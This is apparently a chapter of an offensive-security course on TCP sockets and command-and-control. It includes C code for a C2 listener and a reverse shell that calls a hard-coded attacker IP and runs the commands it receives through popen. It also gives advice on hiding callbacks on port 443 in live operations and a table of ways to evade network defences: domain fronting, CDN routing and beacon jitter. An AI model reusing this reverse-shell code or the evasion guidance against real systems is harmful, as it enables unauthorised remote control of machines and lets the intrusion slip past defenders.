The Wire: TCP, Sockets, and How C2 Actually Works
Validated ring-stack Phase 0 — TCP listener, reverse shell, all errors below are from live kill chain development against a real Windows 11 target at 192.168.1.61.
Why This Matters Before Everything Else
Every attack in this curriculum eventually reduces to the same five-node chain:
IP Addresses and Ports
An IP address identifies a machine on the network. A port is a 16-bit number (0–65535) that identifies a process on that machine. IP gets the packet to the right machine. The port number routes it to the right process. Both together are an endpoint.
| Port | Protocol | Attack relevance |
|---|---|---|
| 22 | SSH | Initial access, lateral movement, SCP payload delivery. Used throughout ring-stack to push payloads from Parrot Linux to victim VM. |
| 80 / 443 | HTTP / HTTPS | Blend-in ports. Traffic on 443 looks like normal web browsing — IDS is less likely to flag it. Use for C2 callbacks in live ops instead of 4444. |
| 445 | SMB | Windows file shares. Pass-the-Hash (Phase 6) runs here. Exfil to \\attacker\share uses 445. Frequently blocked at network boundary — caused Error 67 in ring-stack kill chain. |
| 4444 | C2 (Meterpreter default) | Defender and IDS flag this port by name. Fine in a lab VM. Switch to 443 in anything live. |
| 5985 | WinRM HTTP | evil-winrm connects here. Required open for Phase 6 lateral movement via WinRM. |
| 3389 | RDP | Remote Desktop. Lateral movement option. Needs credentials or pass-the-hash. |
| 1024–65535 | Ephemeral / high | Above 1024 = no admin needed to bind on Linux. Your listener binds here. Pick something that blends: 8080, 8443, 9001. |
TCP: The Three-Way Handshake
TCP (Transmission Control Protocol) is the transport under our shells, listeners, and exfil operations. Before any data flows, the connection must complete a three-way handshake. If the handshake fails — wrong IP, wrong port, firewall blocking — nothing runs.
Reverse shell vs bind shell
Reverse shell: victim connects to attacker. Outbound traffic is almost always allowed — Windows doesn't block outbound by default. The attacker runs a listener and waits for the victim to call home. This is the standard technique used throughout ring-stack.
Bind shell: attacker connects to a port the victim opened. Requires an inbound firewall rule open on the victim — rarely available on a hardened target. Not used in ring-stack.
Sockets in C — The Complete API
A socket is a file descriptor. You write bytes to it and they go across the network. You read bytes from it and they came from the other end. The OS handles routing, retransmission, and checksums. You just open, read, write, close. Same pattern as file I/O.
Server side: the C2 listener (ring-stack Phase 1)
/* C2 Listener — Phase 1 core pattern */ int fd = socket(AF_INET, SOCK_STREAM, 0); // create socket // SO_REUSEADDR: lets you restart the listener without waiting for OS to free the port int opt = 1; setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); struct sockaddr_in addr = {0}; addr.sin_family = AF_INET; addr.sin_port = htons(4444); // host-to-network byte order addr.sin_addr.s_addr = INADDR_ANY; // accept on all interfaces bind(fd, (struct sockaddr*)&addr, sizeof(addr)); listen(fd, 1); // queue depth 1 = single connection int client = accept(fd, NULL, NULL); // BLOCKS until victim connects // client = new socket for this specific connection // recv(client, ...) reads victim's output // send(client, ...) sends commands
Client side: the reverse shell (ring-stack Phase 2)
/* Reverse Shell — Phase 2 core pattern */ int fd = socket(AF_INET, SOCK_STREAM, 0); struct sockaddr_in attacker = {0}; attacker.sin_family = AF_INET; attacker.sin_port = htons(4444); attacker.sin_addr.s_addr = inet_addr("192.168.1.151"); // attacker IP connect(fd, (struct sockaddr*)&attacker, sizeof(attacker)); // call home // fd is now a bidirectional channel to the attacker // recv(fd, cmd, sizeof(cmd), 0) → receives the command // popen(cmd, "r") → runs the command, reads output // send(fd, output, len, 0) → sends result back
Windows socket difference (Winsock)
On Windows: include winsock2.h instead of sys/socket.h. Call WSAStartup(MAKEWORD(2,2), &wsa) before any socket function — skipping this causes silent failure. Socket type is SOCKET, not int. Invalid socket is INVALID_SOCKET, not -1. Everything else is the same API.
The C2 Beacon Pattern
A C2 implant (einayim_kav, shellchain, cheyanne) doesn't maintain a permanent open connection — that's loud on the wire. It beacons: connects, checks for commands, executes if any, disconnects, sleeps, repeats.
Real Errors from the Kill Chain
These fired during ring-stack development against a real Windows 11 target. Not hypothetical:
How Defenders See the Wire
Network-layer defences work on different signals depending on what they can see:
| Detection layer | What it sees | What beats it |
|---|---|---|
| Port-based firewall rules | Destination port number | Use 443 (HTTPS). Blocked ports rarely include 443. |
| SNI inspection (TLS) | Domain name in TLS handshake | Domain fronting: CDN sees legitimate domain in SNI, C2 domain only in HTTP Host header inside TLS. |
| IP reputation / threat feeds | Destination IP | Route through CDN (Cloudflare). CDN IPs are trusted. C2 traffic is the CDN's incoming traffic. |
| NetFlow analysis | Connection duration, byte counts, interval regularity | Jitter: randomise sleep interval ±30%. Short connections: beacon then disconnect, not persistent session. |
| DPI (deep packet inspection) | Application-layer content | TLS encryption. Content inside TLS is opaque to DPI without certificate interception. |
Further Reading
- Ch9: The Last Mile — delivery architecture: HTML smuggling, LNK stagers, staged delivery, domain fronting
- Ch10: The Frame — C2 architecture: beacon design, persistence, anti-analysis
- Writeup: C2 Architecture — full einayim_kav beacon design
- Writeup: Einayim Implant — production C2 implant walkthrough